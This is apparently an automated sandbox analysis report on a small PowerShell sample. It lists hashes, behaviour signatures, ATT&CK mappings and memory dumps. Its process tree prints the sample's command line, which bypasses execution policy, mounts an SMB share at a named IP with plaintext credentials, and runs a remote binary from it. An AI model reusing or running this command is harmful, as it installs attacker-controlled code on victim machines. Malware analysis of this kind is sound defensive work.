a67f38388eb5a8d44a40818b180d75684c165d909237c49c4a057b3a1bea6174

Analysis

max time kernel
149s
max time network
141s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
06/07/2026, 08:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a67f38388eb5a8d44a40818b180d75684c165d909237c49c4a057b3a1bea6174.ps1
Size 175B
Sample260706-j9dlescs9w
SHA256 a67f38388eb5a8d44a40818b180d75684c165d909237c49c4a057b3a1bea6174
MD5 56221856e5ab54d69301b33234fa24af
SHA1 929ed995cbf834420a0fc0713b48b8a54a507487
SHA512 d0041a2b0281c74445c3f1a888a3b4cd39f6d1b3cb2eabe907cf2075f6f4af0c01fa5dbeb196ae5f8e57df2e7fd173161a1d5127c02e08c5fc6f9da88f9f2e95
TLSH
T13AC0805C5E2C95F61E97C648015DDB0555E74374116FC5549EF875046A214C7F1D4530
MD5 SHA1 SHA512 TLSH

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
704	PowerShell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
704	PowerShell.exe
704	PowerShell.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid
4

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	704	PowerShell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 704 wrote to memory of 5812	704	PowerShell.exe	89
PID 5812 wrote to memory of 1604	5812	cmd.exe	91

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\a67f38388eb5a8d44a40818b180d75684c165d909237c49c4a057b3a1bea6174.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:704
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c net use \\62.113.112.203\shear /user:WORKGROUP\sambauser aabb1234 && \\62.113.112.203\shear\s -fullinstall
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5812
- - C:\Windows\system32\net.exe
    net use \\62.113.112.203\shear /user:WORKGROUP\sambauser aabb1234
    3⤵
    PID:1604

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/704-0-0x00007FFA73C2F000-0x00007FFA73C30000-memory.dmp

Download

memory/704-3-0x0000029BF03D0000-0x0000029BF03F2000-memory.dmp

Download

memory/704-4-0x00007FFA73AA0000-0x00007FFA74444000-memory.dmp

Download

memory/704-5-0x00007FFA73AA0000-0x00007FFA74444000-memory.dmp

Download

memory/704-6-0x00007FFA73AA0000-0x00007FFA74444000-memory.dmp

Download

memory/704-7-0x00007FFA73AA0000-0x00007FFA74444000-memory.dmp

Download

memory/704-8-0x00007FFA73AA0000-0x00007FFA74444000-memory.dmp

Download

memory/704-9-0x00007FFA73AA0000-0x00007FFA74444000-memory.dmp

Download

memory/704-10-0x00007FFA73AA0000-0x00007FFA74444000-memory.dmp

Download

memory/704-13-0x00007FFA73AA0000-0x00007FFA74444000-memory.dmp

Download

memory/704-12-0x00007FFA73AA0000-0x00007FFA74444000-memory.dmp

Download